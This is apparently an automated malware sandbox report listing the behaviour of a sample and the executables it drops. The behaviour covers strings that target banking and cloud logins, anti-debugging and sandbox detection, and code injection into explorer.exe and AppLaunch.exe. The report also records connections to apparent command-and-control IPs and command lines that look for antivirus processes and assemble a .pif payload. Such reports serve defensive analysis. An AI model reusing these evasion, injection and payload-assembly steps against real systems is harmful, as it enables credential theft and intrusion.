Source: 6719.exe, 00000010.00000002.2220541124.00000000046AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: explorer.exe, 0000000B.00000000.1353206964.0000000007306000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: War&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: 6719.exe, 00000010.00000002.2220541124.000000000449B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: 6719.exe, 00000010.00000002.2220541124.00000000046AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: explorer.exe, 0000000B.00000000.1354982991.0000000008F27000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWT`
Source: 6719.exe, 00000010.00000002.2220541124.00000000046AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: 6719.exe, 00000010.00000002.2220541124.00000000046AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: 6071.exe, 00000016.00000003.3126487437.0000000003B4F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 0PJAMo57H/5p/LvmCi5uy4B2YM9XkLvneJ1FX6e/H4AYW3twOtPlAgMBAAE=
Source: explorer.exe, 0000000B.00000000.1351807807.0000000000C74000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 6719.exe, 00000010.00000000.1736203316.0000000000D5E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: <Phrase ID="IDS_IMAGE_CONVERTER_FORMAT_NAME_VMDK_STREAMOPTIMIZED"><![CDATA[*VMware stream-optimized image]]></Phrase>
Source: explorer.exe, 0000000B.00000000.1352366189.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.
Source: 6719.exe, 00000010.00000000.1736203316.0000000000D5E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: <Phrase ID="IDS_CONVERTER_FORMAT_VMWARE"><![CDATA[VMDK]]></Phrase>
Source: 6719.exe, 00000010.00000000.1736203316.0000000000D5E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: <Phrase ID="IDS_CONVERTER_OPTIONS_VMWARE_STREAMOPTIMIZED"><![CDATA[Stream-optimized image]]></Phrase>
Source: 6719.exe, 00000010.00000002.2220541124.000000000449B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: 6719.exe, 00000010.00000000.1736203316.0000000000D5E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: <Phrase ID="IDS_IMAGE_CONVERTER_FORMAT_NAME_VMDK_ESXI"><![CDATA[VMware direct conversion to ESXi]]></Phrase>
Source: 6719.exe, 00000010.00000002.2220541124.00000000046AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: explorer.exe, 0000000B.00000000.1353206964.0000000007306000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: War&Prod_VMware_xU1
Source: 6719.exe, 00000010.00000002.2170580122.0000000000942000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 6719.exe, 00000010.00000000.1736203316.0000000000D5E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: <Phrase ID="IDS_IMAGE_CONVERTER_FORMAT_NAME_VMDK_STREAMOPTIMIZED"><![CDATA[VMware stream-optimized image]]></Phrase>
Source: 6719.exe, 00000010.00000002.2220541124.000000000449B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: 6719.exe, 00000010.00000002.2220541124.00000000046AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: 6719.exe, 00000010.00000002.2220541124.000000000449B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: 6719.exe, 00000010.00000002.2220541124.00000000046AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: explorer.exe, 0000000B.00000000.1354982991.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWystem32\DriverStore\en-US\machine.inf_loc5
Source: 6719.exe, 00000010.00000000.1736203316.0000000000D5E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: <Phrase ID="IDS_CONVERTER_FORMAT_DESCRIPTION_QCOW2"><![CDATA[QEMU qcow2 disk image]]></Phrase>
Source: explorer.exe, 0000000B.00000000.1352366189.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware Virtual RAM00000001VMW-4096MBRAM slot #0RAM slot #0
Source: 6719.exe, 00000010.00000002.2220541124.000000000449B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: explorer.exe, 0000000B.00000000.1354982991.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMWare
Source: 6719.exe, 00000010.00000000.1736203316.0000000000D5E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: <Phrase ID="IDS_CONVERTER_LOCATION_ESXI"><![CDATA[Remote VMware ESXi Server]]></Phrase>
Source: explorer.exe, 0000000B.00000000.1354982991.0000000009052000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000'
Source: 6719.exe, 00000010.00000002.2220541124.00000000046AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: 6719.exe, 00000010.00000000.1736203316.0000000000D5E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: <Phrase ID="IDS_IMAGE_CONVERTER_FORMAT_NAME_VMDK_VMFSFLAT"><![CDATA[VMware ESX server image]]></Phrase>
Source: 6719.exe, 00000010.00000002.2220541124.000000000449B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: explorer.exe, 0000000B.00000000.1351807807.0000000000C74000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: 6719.exe, 00000010.00000000.1736203316.0000000000D5E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: <Phrase ID="IDS_IMAGE_CONVERTER_FORMAT_NAME_VMDK_FLAT"><![CDATA[*VMWare pre-allocated image]]></Phrase>
Source: 6719.exe, 00000010.00000000.1736203316.0000000000D5E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: <Phrase ID="IDS_CONVERTER_OPTIONS_VMWARE_ESXI"><![CDATA[ESXi Server image]]></Phrase>

Source: C:\Users\user\Desktop\BRvptajioG.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\BRvptajioG.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\6719.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Hides threads from debuggers

Source: C:\Users\user\AppData\Local\Temp\6719.exe

Thread information set: HideFromDebugger

Jump to behavior

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\Desktop\BRvptajioG.exe	System information queried: CodeIntegrityInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\decegfu	System information queried: CodeIntegrityInformation			Jump to behavior

Source: C:\Users\user\Desktop\BRvptajioG.exe	Code function: 0_2_02B40D90 mov eax, dword ptr fs:[00000030h]	0_2_02B40D90
Source: C:\Users\user\Desktop\BRvptajioG.exe	Code function: 0_2_02B4092B mov eax, dword ptr fs:[00000030h]	0_2_02B4092B
Source: C:\Users\user\Desktop\BRvptajioG.exe	Code function: 0_2_02B76F58 push dword ptr fs:[00000030h]	0_2_02B76F58
Source: C:\Users\user\AppData\Roaming\decegfu	Code function: 13_2_02C40D90 mov eax, dword ptr fs:[00000030h]	13_2_02C40D90
Source: C:\Users\user\AppData\Roaming\decegfu	Code function: 13_2_02C4092B mov eax, dword ptr fs:[00000030h]	13_2_02C4092B
Source: C:\Users\user\AppData\Roaming\decegfu	Code function: 13_2_02DC6440 push dword ptr fs:[00000030h]	13_2_02DC6440
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_00880D90 mov eax, dword ptr fs:[00000030h]	14_2_00880D90
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_0088092B mov eax, dword ptr fs:[00000030h]	14_2_0088092B
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_0094DA2A push dword ptr fs:[00000030h]	14_2_0094DA2A
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Code function: 15_2_027BE0A3 push dword ptr fs:[00000030h]	15_2_027BE0A3
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Code function: 15_2_02980042 push dword ptr fs:[00000030h]	15_2_02980042

Source: C:\Users\user\Desktop\BRvptajioG.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\decegfu	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\BRvptajioG.exe

Code function: 0_2_004029BA LdrLoadDll,

0_2_004029BA

Source: C:\Users\user\AppData\Local\Temp\6719.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 34.143.166.163 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 95.158.162.200 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 104.198.2.251 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 34.94.245.237 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 193.106.174.149 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: mx.263.net
Source: C:\Windows\explorer.exe	Network Connect: 175.126.109.15 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: pop.knpzwm.com
Source: C:\Windows\SysWOW64\explorer.exe	Network Connect: 91.215.85.17 80

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: jtcegfu.11.dr

Jump to dropped file

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\BRvptajioG.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\BRvptajioG.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\decegfu	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\decegfu	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\85CF.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\85CF.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Local\Temp\9B3D.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 400000 protect: page execute and read and write

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\6071.exe	Memory written: C:\Users\user\AppData\Local\Temp\6071.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9B3D.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 400000 value starts with: 4D5A
Source: C:\ProgramData\Drivers\csrss.exe	Memory written: C:\ProgramData\Drivers\csrss.exe base: 400000 value starts with: 4D5A
Source: C:\ProgramData\Drivers\csrss.exe	Memory written: C:\ProgramData\Drivers\csrss.exe base: 400000 value starts with: 4D5A

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\6071.exe

Code function: 15_2_02980110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,

15_2_02980110

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\BRvptajioG.exe	Thread created: C:\Windows\explorer.exe EIP: 8B11AD0	Jump to behavior
Source: C:\Users\user\AppData\Roaming\decegfu	Thread created: unknown EIP: 86E1AD0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Thread created: unknown EIP: 95619A0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\85CF.exe	Thread created: unknown EIP: 8731A40	Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 5F79C0	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 5F79C0	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 5F79C0	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 5F79C0	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 5F79C0	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 5F79C0	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 5F79C0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9B3D.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\9B3D.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 402000
Source: C:\Users\user\AppData\Local\Temp\9B3D.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 422000
Source: C:\Users\user\AppData\Local\Temp\9B3D.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 42C000
Source: C:\Users\user\AppData\Local\Temp\9B3D.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 4EBE008

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\explorer.exe	Memory written: PID: 3540 base: 5F79C0 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 4220 base: 7FF710072D10 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 7676 base: 5F79C0 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 6192 base: 7FF710072D10 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 7532 base: 5F79C0 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 988 base: 7FF710072D10 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 4196 base: 5F79C0 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 6228 base: 5F79C0 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 3580 base: 5F79C0 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 3640 base: 7FF710072D10 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 2756 base: 5F79C0 value: 90	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\6071.exe	Process created: C:\Users\user\AppData\Local\Temp\6071.exe C:\Users\user~1\AppData\Local\Temp\6071.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9B3D.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c mkdir 21808
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Span + Cigarette + Instances + Mfg + Cable 21808\Adaptation.pif
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Complex 21808\G
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif 21808\Adaptation.pif 21808\G
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 5 localhost
Source: C:\ProgramData\Drivers\csrss.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"
Source: C:\ProgramData\Drivers\csrss.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"

Source: explorer.exe, 0000000B.00000000.1352099134.0000000001440000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000000.1354982991.0000000009013000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.1353078350.0000000004880000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 0000000B.00000000.1352099134.0000000001440000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 0000000B.00000000.1352099134.0000000001440000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: ?Program Manager
Source: explorer.exe, 0000000B.00000000.1351807807.0000000000C59000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1Progman
Source: explorer.exe, 0000000B.00000000.1352099134.0000000001440000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: 90FB.exe, 00000014.00000003.1873715153.000000007ED70000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: @EXITMETHOD@EXITCODEShell_TrayWnd-CALLGUICTRLREGISTERLISTVIEWSORTGUICTRLCREATELISTVIEWITEMGUICTRLCREATETREEVIEWITEMGUICTRLCREATECONTEXTMENUONAUTOITEXITUNREGISTERGUICTRLCREATELISTVIEWGUICTRLCREATEMENUITEMGUICTRLCREATECHECKBOXGUICTRLCREATEMONTHCALGUICTRLCREATEPROGRESSGUICTRLCREATETREEVIEWGUICTRLCREATEGRAPHICSTRINGFROMASCIIARRAYONAUTOITEXITREGISTERGUICTRLCREATETABITEMGUICTRLSETDEFBKCOLORINIREADSECTIONNAMESGUICTRLCREATEBUTTONDLLCALLBACKREGISTERGUICTRLCREATEUPDOWNGUICTRLCREATESLIDERSTRINGREGEXPREPLACEOBJCREATEINTERFACEGUICTRLSENDTODUMMYFILECREATESHORTCUTGUICTRLCREATEINPUTSOUNDSETWAVEVOLUMEFILECREATENTFSLINKGUISETACCELERATORSGUICTRLCREATECOMBOGUICTRLSETDEFCOLORPROCESSSETPRIORITYGUICTRLSETRESIZINGSTRINGTOASCIIARRAYDRIVEGETFILESYSTEMGUICTRLCREATEDUMMYTRAYITEMSETONEVENTGUICTRLCREATERADIOWINMINIMIZEALLUNDOGUICTRLCREATEGROUPGUICTRLCREATELABELAUTOITWINSETTITLEGUICTRLSETBKCOLORAUTOITWINGETTITLEGUICTRLSETGRAPHICGUICTRLCREATEDATEGUICTRLCREATEICONGUICTRLSETONEVENTCONSOLEWRITEERRORDLLCALLBACKGETPTRGUICTRLCREATELISTTRAYITEMGETHANDLEFILEFINDFIRSTFILEGUICTRLCREATEEDITGUICTRLCREATEMENUWINMENUSELECTITEMGUICTRLSETCURSORDLLSTRUCTGETDATASTATUSBARGETTEXTFILERECYCLEEMPTYFILESELECTFOLDERTRAYITEMSETSTATEDLLSTRUCTSETDATATRAYITEMGETSTATEWINGETCLIENTSIZEGUICTRLCREATEAVIHTTPSETUSERAGENTGUICTRLCREATEPICCONTROLGETHANDLEGUIGETCURSORINFOTRAYSETPAUSEICONFILEFINDNEXTFILEINIRENAMESECTIONDLLSTRUCTGETSIZESHELLEXECUTEWAITPROCESSWAITCLOSEGUICTRLCREATETABFILEGETSHORTNAMEWINWAITNOTACTIVEGUICTRLCREATEOBJGUICTRLGETHANDLESTRINGTRIMRIGHTGUICTRLSETLIMITGUICTRLSETIMAGEINIWRITESECTIONCONTROLTREEVIEWAUTOITSETOPTIONGUICTRLSETCOLORDLLSTRUCTGETPTRADLIBUNREGISTERDRIVESPACETOTALGUICTRLSETSTATEWINGETCLASSLISTGUICTRLGETSTATEFILEGETSHORTCUTDLLSTRUCTCREATEPROCESSGETSTATSCONTROLGETFOCUSDLLCALLBACKFREEGUICTRLSETSTYLEFILEREADTOARRAYTRAYITEMSETTEXTCONTROLLISTVIEWTRAYITEMGETTEXTFILEGETENCODINGFILEGETLONGNAMEGUICTRLSENDMSGSENDKEEPACTIVEDRIVESPACEFREEFILEOPENDIALOGGUICTRLRECVMSGCONTROLCOMMANDSTRINGTOBINARYWINMINIMIZEALLSTRINGISXDIGITTRAYSETONEVENTFILESAVEDIALOGDUMMYSPEEDTESTCONTROLGETTEXTMOUSECLICKDRAGGUICTRLSETFONTMOUSEGETCURSORWINGETCARETPOSCONTROLSETTEXTTRAYITEMDELETESTRINGTRIMLEFTDRIVEGETSERIALBINARYTOSTRINGGUICTRLSETDATAINIREADSECTIONUDPCLOSESOCKETCONTROLDISABLETRAYCREATEMENUTCPCLOSESOCKETDLLCALLADDRESSFILEGETVERSIONGUIREGISTERMSGTRAYSETTOOLTIPTRAYCREATEITEMDRIVEGETDRIVESTRINGISASCIISTRINGCOMPARESTRINGISALPHAPROCESSEXISTSSTRINGREVERSESTRINGSTRIPCRSPLASHIMAGEONGUICTRLSETTIPGUISTARTGROUPCONTROLGETPOSFILEGETATTRIBADLIBREGISTERDRIVESETLABELGUICTRLDELETEFILECHANGEDIRFILEWRITELINEPIXELCHECKSUMDRIVEGETLABELGUICTRLSETPOSGUISETBKCOLORPIXELGETCOLORSTRINGISDIGITSTRINGISFLOATWINWAITACTIVESTRINGISALNUMSTRINGISLOWERSTRINGISSPACEGUISETONEVENTSTRINGREPLACESTRINGSTRIPWSCONTROLENABLESTRINGISUPPERWINGETPROCESSFILESETATTRIBCONTROLFOCUSFILEREADLINEPROCESSCLOSEGUISETCURSORSPLASHTEXTONSTRINGFORMATTRAYSETSTATESTRINGREGEXPCONTROLCLICKSHELLEXECUTETRAYSETCLICKWINWAITCLOSEHTTPSETPROXYDRIVEGETTYPEWINGETHANDLECONSOLEWRITEGUIGETSTYLECONTROL

Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,	14_2_0040EA6F
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	14_2_0040DE13
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: __crtGetLocaleInfoA_stat,	14_2_00412D74
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,___crtGetLocaleInfoA,__invoke_watson,	14_2_0040C98F

Source: C:\Users\user\AppData\Local\Temp\6719.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
